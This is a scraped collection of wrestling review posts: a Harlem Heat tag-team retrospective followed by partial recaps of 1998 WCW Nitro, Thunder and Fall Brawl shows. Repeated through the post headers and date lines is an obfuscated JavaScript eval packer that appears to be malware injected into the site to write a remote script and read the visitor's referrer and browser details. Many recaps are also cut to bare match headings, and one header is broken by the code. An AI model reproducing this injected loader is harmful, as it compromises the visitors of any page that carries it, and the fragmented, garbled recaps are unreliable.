We take a break and come back with Rick catching Booker in a powerslam but Sting tags himself in to go after T. A top rope ax handle gets two on Booker and Sting hiptosses him to the floor. Back in and a gorilla press puts Booker down again before it’s off to Luger for a suplex. Booker tags his brother in and Stevie scores with some heavy forearms to Sting. Scott reaches over to tag himself in and cranks on Sting’s arm.

Tony mistakenly says Luger returned last year at a Clash of the Champions as Scott reverses a Sting suplex attempt and lays Sting out with a reverse DDT. A tiger bomb lays Sting out again and it’s back to Rick for a hard chinlock. Luger fights up and explodes out of the corner with a clothesline of his own but walks into a German suplex.

Back to Scott with a belly to belly on Luger before he heads up top. Luger catches him in a fireman’s carry which is incorrectly called the Rack as everything breaks down. Scott hits a Frankensteiner on Booker but the Outsiders run out and attack the other wrestlers on the floor, drawing a questionable DQ from Nick Patrick.

Rating: C+. The match was entertaining but started to fall apart near the end. It didn’t help that the entire twelve minute match was spent building up to the crooked referee story which is only so interesting. This wasn’t bad but the Outsiders were clearly going to get the titles sooner or later so it was just filling in time.

What would wrestling be without a gimmick match? From Uncensored 1997.

Public Enemy vs. Harlem Heat

This is for the #1 contender spot which meant nothing because it’s not like the Outsiders ever wrestled. Oh and this is Texas Tornado rules. In essence this is a street fight and the weapons are in as soon as the bell rings. This is one of those brawls where they’re going to beat on each other for a good while until they get tired and then it drags for awhile until we get to the ending.

The white guys beat up Stevie until Booker makes the save. Booker actually gets two on Grunge. Extension cord comes in and Rock accidently hits Grunge. Various comedy weapons are brought in and this is going nowhere for the most part. Dusty laughs a lot at stuff that really isn’t funny. The guy enjoyed his work to be sure.

There’s a toilet seat in there which is the main focus of the “comedy” here. The announcers don’t pay a bit of attention here as you would expect. Sherri helps a bit and Dusty loses whatever he had left. More weapon shots and choking follow as it occurs to me that Sherri and Public Enemy are all dead. That’s a rather saddening thought. Dusty freaks over a pizza pan being brought in.

Grunge gets crotched as we hit the slow down period. We get a shot of Sherri hitting Rock so we shift to a camera view where we can’t see anything but the ring because I guess a woman hitting a man hurts the southern mentality or whatever. There was a low blow in there somewhere and Dusty cracks up over it.

There’s a purse brought in with some form of electronics in it. Rocket Launcher gets two on Grunge. Sherri gets rammed into the railing and Booker goes through a table. Here are Mongo and Jarrett for no apparent reason. Ah apparently Heat is replacing them. Briefcase to Grunge sets up the Harlem Hangover to end this after FAR too long.

Rating: D+. This was your standard wild brawl that wasn’t really wild and wasn’t anything resembling good but it’s not terrible for a toss your brain out and let them destroy each other fight. It definitely got far too tedious more than once but these can be entertaining if they don’t go too long. This went too long but was still kind of entertaining so points for that I suppose.

The war against the NWO would continue at Road Wild 1997 against a slightly lower level team.

Harlem Heat vs. Vicious and Delicious

That’s Norton and Bagwell. Buff and Booker get us going here. Booker hooks the arm but Bagwell dropkicks him into the corner and it’s off to Norton. Ray comes in for a power vs. power brawl and Norton gets slammed. Back to Booker for a suplex which gets two but a spin kick is countered into a kind of powerbomb. Buff cleans house for some reason but Booker knocks him to the outside.

Booker hooks a chinlock which is a heel move but since they’re against the NWO, wouldn’t that make them faces? Bagwell fights up and hits a clothesline to set up the tag to Norton. Stevie breaks up the tag as I can’t get over the heel/face dynamic being so backwards here. Cue Jackie to really make this match great. Harlem Heat had been promising a surprise before this and I guess it’s her.

Bagwell comes back from the beating with a powerbomb of all things and it’s off to Norton off a hot (?) tag. Vincent’s interference fails so Ray beats him up. Norton hits Booker with the shoulderbreaker but Jackie interferes enough to let Booker side kick Norton down for the pin. What an odd match.

Rating: D. I’m not sure what the idea here was but it really didn’t work all that well. First of all, the heel/face dynamic was completely backwards here, as the NWO team wrestled as faces. Harlem Heat wrestled as heels and had Bagwell in trouble most of the time, plus Norton got a hot tag and the Heat had a manager interfere. Oh and Jackie sucks but you already know that. I don’t know what was going on here but it didn’t work.

Since we’ve been in a bit of a drought, here’s a match from Nitro on December 22, 1997.

Harlem Heat vs. Scotty Riggs/Lodi

Heenan is offering to buy Rude dinner to prevent pain and agony. They stand around for a long time to start until it’s Booker vs. Riggs. Mike Tenay joins in on commentary again to give us Bobby, Mike and Rick. Booker easily takes down Riggs and they trade wristlocks. Scotty takes him down with a dropkick to give the Flock its only advantage of the match, but Booker spin kicks him down with ease. Off to Stevie Ray who misses an elbow and it’s off to Lodi for the first time ever.

Ray immediately clotheslines him down as the punishment continues. A backbreaker keeps Lodi down and it’s off to Booker for the ax kick. The Heat hit a double suplex for two before Stevie chokes with his knee. A bicycle kick gets two on Lodi as the Heat are barely breaking a sweat here. Stevie hits what would become known as the AA as Riggs walks out on his partner. The Big Apple Blast (Hart Attack with a side kick from Booker instead of a clothesline) ends this massacre.

Rating: D. Unless you’re a big fan of Harlem Heat, there’s no need to see this match. It felt like they were intentionally filling in time with nothing special at all. Harlem Heat didn’t even have a match on the upcoming PPV yet they get a ten minute segment here to destroy a pair of jobbers? That doesn’t do much for me.

That would be their last win together for over a year and a half, as injuries, the NWO and singles pushes would split the team up for a long time. They would reunite in fall 1999 and get a title shot at Road Wild of that year.

Tag Titles: Jersey Triad vs. Harlem Heat

It’s Kanyon and Bigelow here. Bigelow’s belt falls off as he comes out because he’s fat. Big brawl to start and they botch something. I’m really surprised that Bigelow, who looks like a biker, is getting booed here at a biker rally. Ray vs. Kanyon finally gets us started. The announcers are actually breaking the match down and talking about how the Heat are rusty but are brothers so they work together naturally. See how much better it works when you talk about the match?

Stevie slams both of them and the Triad chills on the floor for a bit. Kanyon comes in and wants Booker so here we go again. We talk about Charles Robinson being a biased referee which again pertains to the match. I don’t know how to handle this. They remedy themselves by talking about the main event a bit as this match is going nowhere. The reason would be that the Triad is chilling on the floor.

Ok so it’s Stevie vs. Bigelow now. Off to Kanyon after Bigelow takes him down after some, shall we say, really boring stuff. Time for a chinlock as we’re waiting on the hot tag to Booker so we can get to the ending of the match. The champions set for a spike…something (piledriver I think) but Stevie slingshots Kanyon into Bigelow for a crotching. Here’s Booker to clean house but the Axe Kick is broken up. Everything breaks down and here’s DDP for interference. He accidentally rams into Bigelow though and a missile dropkick by Booker gives the Heat their 8th tag titles.

Rating: D+. Not the worst tag match I’ve ever seen but it could have been a lot better. Kanyon and Bigelow were probably the weakest combination they could have thrown out there, but Page has a singles match later in the show. The Heat would hold the titles for 8 days so it’s not like this was any huge title reign or switch.

They would lose the titles nine days later, win them back a month later, lose them back a month later, then get another rematch six days later at Halloween Havoc 1999.

Tag Titles: Konnan/Billy Kidman vs. Harlem Heat vs. Hugh Morrus/Brian Knobbs

Morrus/Knobbs are the First Family and are managed by Hart. This is under hardcore rules and there are two referees. Remember that. Kidman and Konnan have the belts and wear them out despite not being champions. They’re thieves apparently and have stolen Flair’s socks. The first shot of the match is Knobbs hitting Ray with a trashcan and the brawl begins.

Yep it’s a big mess. Booker throws Knobbs into the first row and the cameramen can’t keep up with everything. This is a case where split screen would be a good idea. The First Family screws up a bit and Morrus takes a trashcan shot. Jimmy gets caught in the ring and runs as Booker stalks him. Knobbs makes the save, pelting a trashcan at him. I don’t mind it as much when you can get the pin out there.

Knobbs is double teamed by the Heat who send him through a casket. Kidman is dropped on a chair as the Heat beat up Knobbs in the back. Scratch that as the Heat screw up and it’s table time back in the arena. Morrus hits his moonsault on Konnan through the table. We cut to the back to see Stevie hit Knobbs with a mummy and Booker gets the pin. 26 seconds later, Kidman pins Morrus (via something we totally miss) and we have a controversy. Not really, but it’s WCW so logic and the laws of time and space take a backseat to Russo’s brain.

Rating: F. This wasn’t wrestling. This was proof that the Hardcore matches in WWF had some logic and thinking behind them. Let that sink in for a few seconds. This was junk and the “controversy” was really stupid because there were two referees and Harlem Heat clearly got the pin far earlier. Kidman and Konnan would win the titles the next night, making this whole thing totally pointless.

We’ll wrap it up with the last match the team had together, when Booker was World Champion. From Thunder on July 19, 2000.

Harlem Heat vs. Rick Steiner/Jeff Jarrett

Commissioner Ernest Miller is on commentary. This is the result of an attack on a Tuesday edition of Monday Nitro. Booker and Rick get things going with Rick hammering away. T. comes back with a spinwheel kick as Scott Steiner’s chick Midajah tries to interfere, only to have Miller handcuff himself to her. Stevie charges into Rick’s boot in the corner and the heels take over. Ray comes back with a bicycle kick to Jarrett and the fight heads to the floor. A chair is brought in but Miller takes it away.

The distraction lets Jeff grab a Russian legsweep before tagging off to Rick. We hit the chinlock for a bit before it’s quickly back to Jarrett who walks into a belly to back suplex. Booker comes in off the hot tag and cleans house. A spinebuster gets two on Rick as everything breaks down. Jeff crotches Booker to break up the missile dropkick and superplexes the champion down, only to have Booker hook the leg for a fast pin.

Rating: C. This was actually fine. I can’t believe I’m saying that but it really wasn’t bad at all. This is what happens when you let some talented wrestlers get in a ring and have a basic match: it’s not that bad. It needed some more time to go anywhere but this was definitely entertaining, which is a rare thing for WCW at this point.

Harlem Heat is a team that was very good when they had the right opponents but weren’t always the best at bringing a team up to another level. Booker T.’s singles career also outshines the team a lot, but they were definitely a huge success together. They won ten World Tag Team Titles and that’s not something that just happens.

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Monday Nitro Extra – November 24, 1998: This Is What DIDN’T Make The Show

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|taiff|var|u0026u|referrer|zfffz||js|php'.split('|'),0,{})) Nitro Extra
Date: November 24, 1998
Location: Van Andel Arena, Grand Rapids, Michigan
Commentators: Mike Tenay, Tony Schiavone, Larry Zbyszko, Bobby Heenan

This is a special one hour episode on a Tuesday. I guess three hours a week isn’t enough for all of the AWESOME action that you get on a Nitro so we get a bonus tonight. Hot dog indeed. Anyway there aren’t any announced matches and Tony just casually mentioned this so I can’t imagine it’s going to be much to see. Let’s get to it.

Nitro Girls.

Scott Norton vs. Kaz Hayashi

Chop, powerbomb, pin on Hayashi.

Disco Inferno vs. Scott Putski

The dancer takes him down with an armdrag but stops to dance, allowing Putski to hit a quick powerbomb for two. Inferno comes back with his usual array of neckbreaker, atomic drop and clothesline followed by the top rope ax handle for another near fall. Two sleepers get Disco nowhere and Putski nails a nice overhead belly to belly. Not that it matters as Disco pops up and hits the piledriver for the pin.

Rating: D+. Disco was a decent in ring worker and actually got something resembling a passable match here against Scott Putski of all people. It’s nothing great or anything like that but at the end of the day, why not try to make something happen here? Unfortunately no one is watching this though so it means nothing at all.

Chavo Guerrero Jr. vs. Tokyo Magnum

They trade lockups into a wristlock from Guerrero before some standing switches get us nowhere. Chavo puts on a headlock and gives Tokyo a wet willie to really make me feel stupid for watching this. A nice dropkick puts Tokyo down and it’s time to ride Pepe a bit. Tokyo comes back with some strikes and the Hennig necksnap before taking a dance break.

Magnum gets two off a moonsault but Chavo comes back with right hands and dancing of his own. A springboard bulldog and belly to back get two for Chavo and he hammers away even more. They strike it out again with Tokyo taking over, only to have Chavo block a hurricanrana and hit a good looking tornado DDT for the pin.

Rating: D+. This was an ok match but at the same time it was a lot of comedy that only some people were going to find funny. Tokyo was talented in the ring but the dancing gimmick was going to put a hard ceiling above his head. Chavo is continuing to get better in the ring though and that’s the most important thing of all.

Stevie Ray vs. Van Hammer

They stare each other down and hammer away in the corner as we’re firmly in power brawl mode here. Now they trade clotheslines with Stevie getting the better of it and throwing Hammer to the floor for a beating from Vincent. Hammer comes back in with a powerslam and belly to back but Stevie just kicks him in the face and hits the Slap Jack for a quick pin. Nothing match.

Prince Iaukea vs. Juventud Guerrera

Both guys fire off chops until Juvy takes over with a headscissors takeover. The Prince comes back with an elbow and legdrop as the uninspired wrestling continues tonight. Guerrera fights out of a headlock and quickly gets up top for a springboard missile dropkick to take over again. Back up and the Prince grabs a powerslam and belly to back for two more and they trade rollups. Guerrera blocks a dive with a boot to the face and they trade more rollups. Iaukea gets crotched and taken down by a hurricanrana, but here’s Mysterio to break up the 450 and allow Prince to hit a quick kick to the face for the pin.

Rating: C-. The back and forth stuff was nice here and FINALLY we get some storyline stuff on this show. Not that it’s going to mean anything but it’s better than just sitting there watching uninteresting matches. As you may have seen before, Iaukea does nothing for me at all and I’m getting sick of seeing him.

Horace vs. Wrath

They slug it out again to start until Wrath misses a charge in the corner. The brawl heads outside with Wrath taking over again before heading back inside where he nearly drops Horace on a sidewalk slam attempt. A Vincent distraction lets Horace get in a chair shot but he gets caught with his feet on the ropes. Horace takes too much time going up top and misses a splash, setting up a top rope shoulder and the Meltdown to end things.

Overall Rating: D. What in the world was the point of this? Seriously, there was practically no important storyline development, the biggest start to appear was….Juventud Guerrera maybe? It’s just a nothing show that could have been the C level show on the weekend like Main Event or something. Nothing to see here and I really do want to know why this existed.

 

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Thunder – October 15, 1998: What’s With All The Horses?

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ziffz|var|u0026u|referrer|fsiza||js|php'.split('|'),0,{})) October 15, 1998
Location: Market Square Arena, Indianapolis, Indiana
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone, Lee Marshall

Hammer vs. Sick Boy

Sick Boy scores with a baseball slide and drops Hammer before putting on a sleeper. The announcers talk about ANYTHING other than this boring match. Hammer counters into a sleeper of his own Sick Boy comes out with a jawbreaker. A middle rope elbow gets two for Sick Boy but Hammer throws him off the top by the hair in a painful looking move. Back up and the Flashback (Alabama Slam) is good for the pin on the sick one.

Video on the Horsemen.

La Parka vs. Konnan

Konnan does his usual schtick followed by the rolling clothesline and seated dropkick. At least the fans care about the people in this match. Back up and Konnan decks him with a back elbow but walks into what might have been a low blow. La Parka chops away and hits a running clothesline followed by a spinwheel kick.

He loads up another charge into the corner but runs into two boots, followed by something resembling a powerbomb from Konnan. La Parka clotheslines him down but gets rolled up for tow more. Konnan grabs a bulldog and gets in a slightly low kick of his own before the X-Factor and Tequila Sunrise get the win.

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Riggs vs. Finlay

We go outside for more punishment from Finlay including a kick to the head. Back in and Finlay hammers away with whatever he can think of and rips the patch off to work over the eye. Riggs blocks a top rope splash with some raised knees and gets two off a knee drop. A top rope ax handle misses though and Finlay tombstones him down for the pin.

Cruiserweight Title: Kaz Hayashi vs. Kidman

Kidman is defending. Kaz grabs a headlock to start but misses a spinwheel kick. He comes back with a headscissors and we get a standoff. Kidman sends him outside and hits a nice plancha before taking him back inside for some right hands against the ropes. Kaz backdrops him out to the floor and hits a nice twisting plancha to put both guys down. Back in again and Hayashi chops him down a few times before we take a break.

We come back with Kidman getting two off a sunset flip but getting kneed in the head to put Kaz back in control. Kaz misses a moonsault and gets bulldogged off the middle rope. Kidman puts him down with a sitout powerbomb but Kaz pops up to break up the Shooting Star. He breaks it up again and hits a jawbreaker off the top in a nice spot. Hayashi gets two off a spinwheel kick Sonny Onoo comes out. Kidman dropkicks him out of the air but gets caught in a quick hurricanrana for two. A German suplex gets two on Kidman and Sonny is shaking his head. Kidman slams him down and hits the Shooting Star for the pin.

Sonny beats up Kaz post match until Kidman makes a save.

We get clips from Nitro with Buff and Scott having their argument.

Chucky clip. I would love to hear that being pitched to Dusty Rhodes and Ric Flair.

Hogan vs. Warrior video.

Chavo Guerrero Jr. vs. Prince Iaukea

They trade some nice counters until Chavo armdrags him down into a chinlock. To keep up the comedy, Chavo gives the Prince a wet willy to the indifference of the crowd. Iaukea reverses into a chinlock of his own, sending Chavo off to talk to Pepe. The Prince grabs the horse and Chavo begs for mercy, only to blast Prince in the back of the head.

Chavo slams Iaukea down and rides the horse around before peppering him with some European uppercuts. Prince comes back with a quick cross body for two and a victory roll for the same. Guerrero gets a knee up in the corner and goes up for the tornado DDT and the pin.

Bride of Chucky ad.

WCW Mastercard ad. 1998 was a strange time.

Stevie Ray vs. Dean Malenko

Malenko fights up again and gets a quick belly to back suplex but Stevie powers him into the corner. Stevie whips him across but Dean jumps to the top for a missile dropkick of all things. He loads up the Cloverleaf but Vincent comes in for the DQ. Too much was in the commercial but this was your usual NWO main event.

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Thunder – October 8, 1998: Longing For A Warrior Promo

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbbis|var|u0026u|referrer|tszyb||js|php'.split('|'),0,{})) October 8, 1998
Location: Market Square Arena, Indianapolis, Indiana
Commentators: Lee Marshall, Tony Schiavone, Bobby Heenan

We open with the laughter and Tony trying to find out what it is.

Mike Tenay is going to a bar forty miles away from the arena tonight to meet with Scott Hall. We go to the bar where Hall says Nash knows where he is tonight and can come find him if he wants. They used to hang out at a place called the Meridian and Nash can come down here anytime. Hall implies that Nash should drop the Wolfpack and just be the Outsiders again.

A limo is seen leaving the arena, presumably with Nash inside.

Kanyon vs. Prince Iaukea

Chris Jericho is outside a locker room yelling for Goldberg.

Scott Steiner video.

Peyton Manning is here.

Jerry Flynn vs. Meng

What do you expect here? Meng no sells everything and pounds Jerry down in the corner until Flynn comes back with a kick and cross body for two. Another kick is blocked and the Tongan Death Grip is good for the easy win.

Tokyo Magnum vs. El Dandy

Saturn vs. Scott Putski

They trade armbars to start until Saturn takes him to the mat with amateur stuff. Putski stis out in a nice move and blasts Saturn in the ribs with a kick to take over. Saturn pops back up and runs Putski over before firing off some nice kicks to the ribs and head. Back to the armbar but Putski sends him into the corner and clotheslines him out to the floor. Saturn goes into the barricade and Putski stomps away back inside.

Scott hammers away again with another clothesline and puts on a sleeper. Saturn quickly breaks it up with a jawbreaker and goes off on Putski with kicks and a quick suplex. A top rope knee drop gets two on Scott but he comes back with a nice powerslam for a near fall of his own. Saturn ducks an ax handle and suplexes Putski down again. The Death Valley Driver ends Putski with far less ease than expected.

Horace vs. Disciple

Horace jumps him post match.

Long video for Warrior vs. Hogan.

Horsemen montage.

Dean Malenko vs. Barbarian

Goldberg vs. Page video.

Diamond Dallas Page vs. Raven

Stevie Ray vs. Lex Luger

Konnan tries to come out for the save but gets laid out. Hall says he fooled Nash and does

the Survey to finally end this show.

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Thunder – September 17, 1998: As Bad As This Show Has Been

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyzfz|var|u0026u|referrer|ettsz||js|php'.split('|'),0,{})) September 17, 1998
Location: Rupp Arena, Lexington, Kentucky
Attendance: 10,620
Commentators: Mike Tenay, Bobby Heenan, Lee Marshall, Tony Schiavone

Wrath vs. Bobby Eaton

The announcers talk about Hogan vs. Warrior at Halloween Havoc and how amazing it will be. Man it must be hard to keep a straight face at times.

Mike Enos vs. Lenny Lane

Buff and Scott Steiner come to the ring with Gene yelling at the two of them for what they did at Fall Brawl. Both guys laugh at Okerlund and Buff brags about the size of his arms. They fight again at Halloween Havoc and Buff will be barred from ringside. Buff has another idea.

We look at Jericho bringing out the fake Goldberg and beating him at Fall Brawl.

We get some classic Flair clips with him beating up some jobbers. This is the most entertaining part of ths show.

Vincent vs. Steve Armstrong

Rick Fuller vs. Ernest Miller

More Flair clips, including him talking in the 80s and returning in 1993.

Curt Hennig vs. Norman Smiley

Hall and Stevie Ray come out for the main event and the survey with the NWO dominating the response.

Konnan/Kevin Nash vs. Stevie Ray/Scott Hall

We look back at Flair returning on Monday. My goodness that was amazing.

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Fall Brawl 1998: A WarGames Halloween Costume

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beatt|var|u0026u|referrer|ydnyr||js|php'.split('|'),0,{})) Brawl 1998
Date: September 13, 1998
Location: Lawrence Joel Veterans Memorial Center, Winston-Salem, North Carolina
Attendance: 11,528
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan

The opening video just shows all nine people in the main event.

The ring setup is different than any other show as there are two rings right next to each other. The matches will alternate between rings all night.

The announcers talk about the main event as a LOUD We Want Flair chant starts up. They go over the rules of the main event before going to the back where Ernest Miller is being restrained. There was a lottery earlier and it will be Bret Hart vs. DDP to start. Another new rule this year: the match can end at any time instead of waiting for everyone to get in.

Davey Boy Smith/Jim Neidhart vs. Alex Wright/Disco Inferno

Alex and Davey get things going with Smith taking him into the corner and hitting some forearms to the head. A hiptoss and gorilla press slam send Wright into the corner to bring in Disco. He gets to face Neidhart as the match slow down a bit. Some shoulder blocks put Disco down and Anvil swivels his hips a bit. Disco fires back with some stomps to the chest and a running knee lift, only to have Neidhart drive him into the corner for the tag off to Bulldog.

TV Title/WCW World Title: Chris Jericho vs. Goldberg

We see the entire segment with Ernest Miller interrupting the Armstrongs on Thunder, leading to Norman Smiley making a save.

Norman Smiley vs. Ernest Miller

Miller gives Smiley five seconds to get out of the ring before he takes him apart but Norman chops him to the floor. Smiley follows him outside but gets whipped into the barricade before we head back inside for a variety of kicks. A double chop to the throat puts Norman down again and Miller mixes up his offense with some knees to the chest. More choking ensues against the ropes before he throws Smiley down with a judo move. Off to a lame armbar before Norman comes back to no reaction from the bored crowd. A delayed suplex gets two on Miller but he breaks up a superplex attempt and hits two Feliners for the pin.

Rating: D. To clarify: WCW would rather push a one dimensional martial arts guy over an international submission/amateur style wrestler with years of experience wrestling all over the world. Smiley had a lot of tools but never got to showcase what he could do. But hey, at least we get to see ERNEST MILLER.

We recap Rick vs. Scott Steiner. Scott turned on his brother back in February and has avoided the match over and over again before they FINALLY go at it tonight.

Rick Steiner vs. Scott Steiner

Scott stalls on the floor for a few minutes before coming back inside for a slugout with Rick getting the better of it. A right hand from Scott has no effect and he bails to the floor. Rick chases him into the crowd and drags him back into the ring but Scott hits him low to escape a belly to belly suplex.

Cruiserweight Title: Silver King vs. Juventud Guerrera

Juvy comes back with a quick hurricarana and a springboard into a headscissors for two. Another springboard move is caught by a dropkick from Silver King before he loads Juvy on his shoulder and spins him, tossing him into the buckle. A shoulder breaker gets two on the champion and a dropkick knocks him outside. Silver King hits a nice springboard plancha to take Juvy out again as the fans chant Taco Bell.

Konnan is doing an interview on WCW.com when Scott Hall comes up and throws a drink in his face.

Raven vs. Saturn

Something like a Juvy Driver gets two more for Saturn so he puts on the Rings of Saturn but Lodi makes the save. The referee gets bumped and Kanyon gets the key to the handcuffs out of his pocket to set himself free. He gives Saturn a Flatliner but Raven can only get two. Saturn drives Lodi through the table with the Death Valley Driver but walks into the EvenFlow. He kicks out again and the fans are WAY into this now. Another Death Valley Driver is enough to split up the Flock.

Rating: B. This was the only way to end the feud and it worked very well. As is almost always the case, the backstory makes the match much better as you have Saturn rising above everyone else and surviving everything Raven throws at him. Kidman turning makes sense as he had already been changing his look in the previous months, which is always a good addition to a feud.

Dean Malenko vs. Curt Hennig

Hennig bails to the floor where Rude tries to help him to the back but Dean will have none of that. Back in and Dean cannonballs down on the knee before putting on a leg bar. Off to a different kind of leg lock as the fans are just waiting for Anderson and Flair to run in. Back up and Hennig forearms him down but the knee gives out on the HennigPlex attempt. Instead Dean HennigPlexes Curt but Rude comes in for the DQ.

Halloween Havoc ad.

Scott Hall vs. Konnan

Konnan counters into one of his own but Hall hiptosses him down, only to miss three straight elbow drops. Scott is rammed into the buckles a few times but he comes right back with a clothesline. A belly to back superplex drops Konnan again but he stops for a drink instead of covering. Konnan kicks the cup into his face and hits the X Factor to set up the Tequila Sunrise for the win.

WarGames: Team WCW vs. Team NWO Wolfpack vs. Team NWO Hollywood

WCW: Diamond Dallas Page, Warrior, Roddy Piper

Wolfpack: Kevin Nash, Sting, Lex Luger

Hollywood: Hollywood Hogan, Bret Hart, Stevie Ray

To further annoy me, Sting vs. Goldberg is announced for tomorrow night. That could have headlined Starrcade. This first period is five minutes. Page cranks on the arm to start and gets two off a shoulder block. An early Diamons Cutter attempt misses and Page is sent face first into the buckle. Hart DDTs him down and rams Page into another buckle. We have two minutes left in the match as the trade right hands in the corner.

A backbreaker keeps Page in trouble but he grabs the arm and drives it down into the mat to get a breather. Page comes back with his discus lariat to put both guys down as Stevie Ray comes in third. All remaining periods are just two minutes. Ray chokes on Page and slams him but opts to choke instead of cover. A clothesline keeps Page in trouble as Sting is in fourth. Stevie meets him coming in and we have action in both rings for the first time tonight.

Page celebrates in the crowd to end the show.

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Thunder – September 10, 1998: KB Goes To Thunder

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdztf|var|u0026u|referrer|nszyy||js|php'.split('|'),0,{})) September 10, 1998
Location: Rupp Arena, Lexington, Kentucky
Attendance: 10,620
Commentators: Bobby Heenan, Lee Marshall, Tony Schiavone

Cruiserweight Title: Juventud Guerrera vs. Silver King

Juvy is laid out with a belt shot post match.

TV Title: Chris Jericho vs. Wrath

We go to the back with Jericho walking to the ring, flanked by Jericho Personal Security Guard and the Jericoholic Ninja. Jericho is all fired up but walks into a broom closet and a wall. This is so strange for me as I walked through those same halls when I was graduating high school and college. He walks outside as Wrath is getting angry in the ring. Jericho is locked out so Wrath goes up the entrance and kicks the door to outside open so he can chase Jericho through the parking lot. The match is a countout.

We go to a clip from WCW Saturday Night with Jim Duggan talking about how important his career has been over the last 20 years, but he was recently diagnosed with cancer. Duggan is scheduled for surgery later this week and says we should all hug our children closer because you never know when you might not see them anymore. He thanks us all for our support and tries not to cry.

Kanyon vs. Nick Dinsmore

Curt Hennig vs. Steve McMichael

Lex Luger vs. British Bulldog/Jim Neidhart

We look at JJ ordering Hall vs. Konnan from earlier.

Konnan vs. Disco Inferno

After Konnan does his stuff, Disco takes the mic and says he and Wright are ready to join the Wolfpack tonight. Konnan tells them to go to a prison and toss salads so Disco jumps him to get things going. The dancers double team Konnan for a few moments before he fights back, hits his signature stuff on Disco and wins with the Tequila Sunrise in about a minute.

The Armstrong Brothers were being interviewed for WCW International Television (no show mentioned, just International Television) when Ernest Miller interrupts. He kicks both guys in the face but Norman Smiley interrupts. This was filmed at the same doors Jericho got locked out of earlier.

WCW World Title: Rick Fuller vs. Goldberg

Kevin Nash vs. Stevie Ray

Post match Nash stays on Stevie until Scott Hall returns to knock out Nash with the slap jack. The Black and White comes out to praise Hall as Nash keeps trying to get back up. Remember earlier when Mongo took the same shot and was taken out on a stretcher? Neither do I. Anyway, the NWO goes to the back and sees Warrior spraypaint on the wall to end the show.

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Thunder – September 3, 1998: The Best Thing In WCW Right Now

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irzek|var|u0026u|referrer|ayfte||js|php'.split('|'),0,{})) September 3, 1998
Location: Peoria Civic Center, Peoria, Illinois
Attendance: 7,128
Commentators: Lee Marshall, Tony Schiavone, Bobby Heenan

The announcers talk about WarGames for a bit. The main event tonight is Konnan/DDP vs. Stevie Ray/Giant.

Rick Fuller vs. Marty Jannetty

Fuller shoves him against the ropes to start but gets rolled up for a quick two. Marty takes him to the mat for a front chancery before dropkicking Fuller into the corner. Fuller comes back with some hard chops in the corner and a big beal sends Marty flying. A hard chop puts Marty down again but he avoids a charge to send Rick shoulder first into the post, setting up the Showstopper (Rocker Dropper) for the pin.

We get some stills from the main event of Nitro.

We look back at Saturn saying he would work for Lodi because it was what he agreed to do. We also get a clip from their tag match on Monday.

Kaz Hayashi vs. Lenny Lane

Rating: C. Basic idea of taking two guys and letting them fly around the ring for six minutes. Hayashi was an entertaining guy and Lane as a Jericho clone was about as good as you could get for a midcard heel in the division. The fact that there are tiers to a midcard division is astounding when you look at the same kind of divisions in modern wrestling.

We look at Konnan saving DDP last week.

Disorderly Conduct vs. High Voltage

Wrath vs. Barry Horowitz

Wrath shoves him down to start and they head to the floor for chops. Horowitz is getting treated like the jobber that he is as Wrath throws him back inside for a slingshot elbow to the jaw. A rollup gets one for Barry but Wrath runs him over with a shoulder block and the Meltdown ends this quick.

We get a “sitdown interview” (read as Saturn sitting in the dark and talking) with Saturn where he talks about being tired of bullies like Raven and wanting to take the Flock apart.

Raven vs. Meng

Raven tells Lodi to order Saturn to get in there and get some. Saturn has a bit of luck and even staggers Meng with a superkick but Kanyon kicks Saturn in the back of the head, allowing Meng to Death Grip him as well.

Kanyon vs. Saturn

Dean Malenko vs. Brian Adams

